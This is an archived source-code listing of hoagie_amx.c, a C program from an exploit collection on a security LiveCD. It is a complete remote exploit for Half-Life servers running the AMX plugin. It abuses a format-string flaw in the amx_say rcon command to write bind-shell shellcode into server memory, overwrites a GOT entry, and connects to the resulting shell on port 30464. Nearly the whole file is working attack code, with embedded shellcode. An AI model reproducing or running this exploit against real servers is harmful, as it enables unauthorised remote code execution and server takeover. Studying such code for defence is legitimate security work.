home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / hoagie_amx.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  13KB  |  419 lines

  1. /*****************************************************************
  2.  * hoagie_amx.c
  3.  *
  4.  * Remote exploit for Halflife-Servers running the AMX-Plugin
  5.  * (rcon-password required)
  6.  *
  7.  * Binds a shell to port 30464/tcp and connects to it.
  8.  *
  9.  * Author: greuff@void.at
  10.  *
  11.  * Tested with HL-Server v3.1.1.0 and AMX 0.9.2 on Linux
  12.  *
  13.  * Credits:
  14.  *    void.at
  15.  *    Taeho Oh for using parts of his shellcode-connection code.
  16.  *
  17.  * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
  18.  * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
  19.  * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
  20.  *
  21.  *****************************************************************/
  22.  
  23. #include <sys/socket.h>
  24. #include <sys/types.h>
  25. #include <sys/time.h>
  26. #include <unistd.h>
  27. #include <netinet/in.h>
  28. #include <arpa/inet.h>
  29. #include <stdio.h>
  30. #include <errno.h>
  31. #include <string.h>
  32. #include <netdb.h>
  33. #include <stdlib.h>
  34.  
  35. #define VSNPRINTF_GOT_ADDRESS 0x0804ce18
  36. #define OFFSET 0x41414141
  37.  
  38. #define SB4(a) ((unsigned int)(a>>24))
  39. #define SB3(a) ((unsigned int)((a>>16)&0xFF))
  40. #define SB2(a) ((unsigned int)((a>>8)&0xFF))
  41. #define SB1(a) ((unsigned int)(a&0XFF))
  42.  
  43. // forks and binds a shell to 30464/tcp. parent process exit()s.
  44. char shellcode[] = "\x31\xc0\x40\x40\xcd\x80\x89\xc0\x85\xc0\x74\x06"
  45.                    "\x31\xc0\xb0\x01\xcd\x80"
  46.                    "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
  47.                    "\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd"
  48.                    "\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x77"
  49.                    "\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51"
  50.                    "\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3"
  51.                    "\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03"
  52.                    "\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0"
  53.                    "\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
  54.                    "\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
  55.                    "\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
  56.                    "\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c"
  57.                    "\x24\x31\xc0\xb0\x0b\xcd\x80"
  58.                    "\x31\xc0\xb0\x01\xcd\x80";
  59.  
  60. char server_ip[20];
  61. char rcon_pwd[30];
  62. int server_port;
  63.  
  64. int exec_sh(int sockfd)
  65. {
  66.         char snd[4096],rcv[4096];
  67.         fd_set rset;
  68.         while(1)
  69.         {
  70.                 FD_ZERO(&rset);
  71.                 FD_SET(fileno(stdin),&rset);
  72.                 FD_SET(sockfd,&rset);
  73.                 select(255,&rset,NULL,NULL,NULL);
  74.                 if(FD_ISSET(fileno(stdin),&rset))
  75.                 {
  76.                         memset(snd,0,sizeof(snd));
  77.                         fgets(snd,sizeof(snd),stdin);
  78.                         write(sockfd,snd,strlen(snd));
  79.                 }
  80.                 if(FD_ISSET(sockfd,&rset))
  81.                 {
  82.                         memset(rcv,0,sizeof(rcv));
  83.                         if(read(sockfd,rcv,sizeof(rcv))<=0)
  84.                                 exit(0);
  85.                         fputs(rcv,stdout);
  86.                 }
  87.         }
  88. }
  89.  
  90. int connect_sh()
  91. {
  92.         int sockfd,i;
  93.         struct sockaddr_in sin;
  94.         struct hostent *he;
  95.         printf("Connect to the shell\n");
  96.         fflush(stdout);
  97.         memset(&sin,0,sizeof(sin));
  98.         sin.sin_family=AF_INET;
  99.         sin.sin_port=htons(30464);
  100.         if((he=gethostbyname(server_ip))<0) perror("gethostbyname"), exit(1);
  101.         memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
  102.         if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
  103.         {
  104.                 printf("Can't create socket\n");
  105.                 exit(0);
  106.         }
  107.         if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
  108.         {
  109.                 printf("Can't connect to the shell\n");
  110.                 exit(0);
  111.         }
  112.         return sockfd;
  113. }
  114.  
  115. void create_conn(int *sock, char *host, int port)
  116. {
  117.    struct sockaddr_in sin;
  118.    struct timeval timeout;
  119.    struct hostent *he;
  120.  
  121.    sin.sin_family=AF_INET;
  122.    sin.sin_port=htons(port);
  123.    if((he=gethostbyname(host))<0) perror("gethostbyname"), exit(1);
  124.    memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
  125.    if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1);
  126.  
  127.    timeout.tv_sec=10;
  128.    timeout.tv_usec=0;
  129.    if(setsockopt(*sock,SOL_SOCKET,SO_RCVTIMEO,(const void *)&timeout,
  130.       sizeof(timeout))<0)
  131.       perror("setsockopt"),exit(1);
  132.    if(setsockopt(*sock,SOL_SOCKET,SO_SNDTIMEO,(const void *)&timeout,
  133.       sizeof(timeout))<0)
  134.       perror("setsockopt"),exit(1);
  135. }
  136.  
  137. void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply)
  138. {
  139.    char msg[2000];
  140.    struct sockaddr_in sin;
  141.    struct sockaddr_in sfrom;
  142.    struct hostent *he;
  143.    fd_set fdset;
  144.    int dummy;
  145.  
  146.    usleep(100);
  147.  
  148.    sin.sin_family=AF_INET;
  149.    sin.sin_port=htons(port);
  150.    if((he=gethostbyname(host))<0) perror("gethostbyname"), exit(1);
  151.    memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
  152.  
  153.    sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
  154.    if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
  155.       perror("sendto"), exit(1);
  156.  
  157.    if(reply)
  158.    {
  159.       if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
  160.       {
  161.          if(errno==EAGAIN)
  162.          {
  163.             // resend message
  164.             printf("msg stalled, resending...\n");
  165.             sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
  166.             if(sendto(sock,msg,strlen(msg),0,(struct sockaddr
  167. *)&sin,sizeof(sin))<0)
  168.                perror("sendto"), exit(1);
  169.             else
  170.                printf("resend OK\n");
  171.             if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
  172.                perror("recvfrom"),exit(1);
  173.          }
  174.          else
  175.             perror("recvfrom"), exit(1);
  176.       }
  177.  
  178.       if(strncmp(msg,"\xFF\xFF\xFF\xFF",4))
  179.          fprintf(stderr,"protocol error: reply\n"), exit(1);
  180.  
  181.       strcpy(reply,msg+4);
  182.    }
  183. }
  184.  
  185. void send_rcon(int sock, char *host, int port, char *rconpwd, char *cmd, char
  186. *reply_fun)
  187. {
  188.    char reply[1000];
  189.    char msg[2000];
  190.  
  191.    lowlevel_rcon(sock,host,port,"challenge rcon",reply);
  192.    if(!strstr(reply,"challenge rcon "))
  193.       fprintf(stderr,"protocol error\n"), exit(1);
  194.    reply[strlen(reply)-1]=0;
  195.  
  196.    sprintf(msg,"rcon %s \"%s\" %s",reply+strlen("challenge rcon
  197. "),rconpwd,cmd);
  198.    if(reply_fun)
  199.       lowlevel_rcon(sock,host,port,msg,reply);
  200.    else
  201.       lowlevel_rcon(sock,host,port,msg,NULL);
  202.    if(reply_fun)
  203.       strcpy(reply_fun,reply);
  204. }
  205.  
  206. int get_padding(unsigned char c,int bytes_written)
  207. {
  208.    int write_byte=c;
  209.    int already_written=bytes_written;
  210.    int padding;
  211.  
  212.    write_byte+=0x100;
  213.    already_written%=0x100;
  214.    padding=(write_byte-already_written)%0x100;
  215.    if(padding<10) padding+=0x100;
  216.  
  217.    return padding;
  218. }
  219.  
  220. void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3,
  221.                         int *p4, int bytes_written)
  222. {
  223.    // greetings to scud :-)
  224.    int write_byte;
  225.    int already_written;
  226.    int padding;
  227.  
  228.    write_byte=SB1(addr);
  229.    already_written=bytes_written;
  230.    write_byte+=0x100;
  231.    already_written%=0x100;
  232.    padding=(write_byte-already_written)%0x100;
  233.    if(padding<10) padding+=0x100;
  234.    *p1=padding;
  235.  
  236.    write_byte=SB2(addr);
  237.    already_written+=padding;
  238.    write_byte+=0x100;
  239.    already_written%=0x100;
  240.    padding=(write_byte-already_written)%0x100;
  241.    if(padding<10) padding+=0x100;
  242.    *p2=padding;
  243.  
  244.    write_byte=SB3(addr);
  245.    already_written+=padding;
  246.    write_byte+=0x100;
  247.    already_written%=0x100;
  248.    padding=(write_byte-already_written)%0x100;
  249.    if(padding<10) padding+=0x100;
  250.    *p3=padding;
  251.  
  252.    write_byte=SB4(addr);
  253.    already_written+=padding;
  254.    write_byte+=0x100;
  255.    already_written%=0x100;
  256.    padding=(write_byte-already_written)%0x100;
  257.    if(padding<10) padding+=0x100;
  258.    *p4=padding;
  259. }
  260.  
  261. int main(int argc, char **argv)
  262. {
  263.    int sock, stackpops, padding;
  264.    int i,j,bytes_written;
  265.    int p1,p2,p3,p4;
  266.    char cmd[1000], reply[1000];
  267.    unsigned long addr;
  268.  
  269.    printf("hoagie_amx - remote exploit for hlds servers using the amx
  270. plugin\n"
  271.           "by greuff@void.at\n\n");
  272.    if(argc!=4)
  273.    {
  274.       printf("Usage: %s server_name server_port rcon_password\n\n",argv[0]);
  275.       exit(1);
  276.    }
  277.  
  278.    strcpy(server_ip,argv[1]);
  279.    server_port=strtol(argv[2],NULL,10);
  280.    strcpy(rcon_pwd,argv[3]);
  281.  
  282.    create_conn(&sock,server_ip,server_port);
  283.  
  284.    printf("Getting stackpop count...");
  285.    send_rcon(sock,server_ip,server_port,rcon_pwd,"log on",reply);
  286.    stackpops=-1;
  287.    for(padding=0;padding<4 && stackpops==-1;padding++)
  288.    {
  289.       for(i=50;i<200 && stackpops==-1;i++)
  290.       {
  291.          strcpy(cmd,"amx_say ");
  292.          for(j=0;j<padding;j++) strcat(cmd,"b");
  293.          sprintf(reply,"AAAA%%%d$08x",i);
  294.          strcat(cmd,reply);
  295.  
  296.          send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
  297.          reply[strlen(reply)-1]=0;
  298.          if(strstr(reply,"AAAA41414141"))
  299.          {
  300.             char *ptr;
  301.             ptr=strrchr(reply,'\n')+1;  // get pointer to last log line
  302.             stackpops=i;
  303.             bytes_written=strstr(ptr," (text \"")+strlen(" (text
  304. \"")-strchr(ptr,'\"');
  305.             bytes_written+=4+padding;
  306.          }
  307.          printf(".");
  308.          fflush(stdout);
  309.       }
  310.    }
  311.    padding--;
  312.    if(stackpops==-1)
  313.    {
  314.       printf("\ncouldn't determine stackpop count. (I really tried hard!)\n");
  315.       exit(1);
  316.    }
  317.  
  318.    printf("\nStackpops found: %d, Padding: %d\n",stackpops,padding);
  319.  
  320.    // inject shellcode
  321.    printf("Writing shellcode...");
  322.    addr=OFFSET;
  323.    for(i=0;i<strlen(shellcode);)
  324.    {
  325.       int t;
  326.       if((addr&0xFF)>0x75)
  327.       {
  328.          // leave space for jmp-instruction (5 bytes: 0xe9 offset/32)
  329.          // distance is 0x13B-0x7A = 193d
  330.          unsigned long target=192;
  331.  
  332.          strcpy(cmd,"amx_say ");
  333.          for(j=0;j<padding;j++) strcat(cmd,"b");
  334.          t=get_padding(0xe9,bytes_written);
  335.          sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
  336.              (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
  337.          strcat(cmd,reply);
  338.          send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
  339.  
  340.          addr++;
  341.          strcpy(cmd,"amx_say ");
  342.          for(j=0;j<padding;j++) strcat(cmd,"b");
  343.          t=get_padding(target&0xFF,bytes_written);
  344.          sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
  345.              (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
  346.          strcat(cmd,reply);
  347.          send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
  348.  
  349.          addr++;
  350.          strcpy(cmd,"amx_say ");
  351.          for(j=0;j<padding;j++) strcat(cmd,"b");
  352.          t=get_padding((target>>8)&0xFF,bytes_written);
  353.          sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
  354.              (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
  355.          strcat(cmd,reply);
  356.          send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
  357.  
  358.          addr++;
  359.          strcpy(cmd,"amx_say ");
  360.          for(j=0;j<padding;j++) strcat(cmd,"b");
  361.          t=get_padding((target>>16)&0xFF,bytes_written);
  362.          sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
  363.              (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
  364.          strcat(cmd,reply);
  365.          send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
  366.  
  367.          addr++;
  368.          strcpy(cmd,"amx_say ");
  369.          for(j=0;j<padding;j++) strcat(cmd,"b");
  370.          t=get_padding((target>>24)&0xFF,bytes_written);
  371.          sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
  372.              (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
  373.          strcat(cmd,reply);
  374.          send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
  375.  
  376.          addr+=193;
  377.       }
  378.       else
  379.       {
  380.          // write shellcode-pieces
  381.          strcpy(cmd,"amx_say ");
  382.          for(j=0;j<padding;j++) strcat(cmd,"b");
  383.          t=get_padding(shellcode[i],bytes_written);
  384.          sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
  385.              (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
  386.          strcat(cmd,reply);
  387.          send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
  388.          addr++;
  389.          i++;
  390.       }
  391.       printf(".");
  392.       fflush(stdout);
  393.    }
  394.  
  395.    // overwrite GOT entry with shellcode address
  396.    strcpy(cmd,"amx_say ");
  397.    for(j=0;j<padding;j++) strcat(cmd,"b");
  398.    get_write_paddings(OFFSET,&p1,&p2,&p3,&p4,bytes_written+24+padding*4);
  399.    addr=VSNPRINTF_GOT_ADDRESS;
  400.    sprintf(reply,"%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA"
  401.                  "%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n",
  402.                  addr&0xFF,(addr>>8)&0xFF,(addr>>16)&0xFF,(addr>>24)&0xFF,
  403.  
  404. (addr+1)&0xFF,((addr+1)>>8)&0xFF,((addr+1)>>16)&0xFF,((addr+1)>>24)&0xFF,
  405.  
  406. (addr+2)&0xFF,((addr+2)>>8)&0xFF,((addr+2)>>16)&0xFF,((addr+2)>>24)&0xFF,
  407.  
  408. (addr+3)&0xFF,((addr+3)>>8)&0xFF,((addr+3)>>16)&0xFF,((addr+3)>>24)&0xFF,
  409.                  p1,stackpops,p2,stackpops+2,p3,stackpops+4,p4,stackpops+6);
  410.    strcat(cmd,reply);
  411.    send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,NULL);
  412.    sleep(1);
  413.    close(sock);
  414.    printf("\nConnecting to the shell...\n");
  415.    exec_sh(connect_sh());
  416.    return 0;
  417. }
  418.  
  419.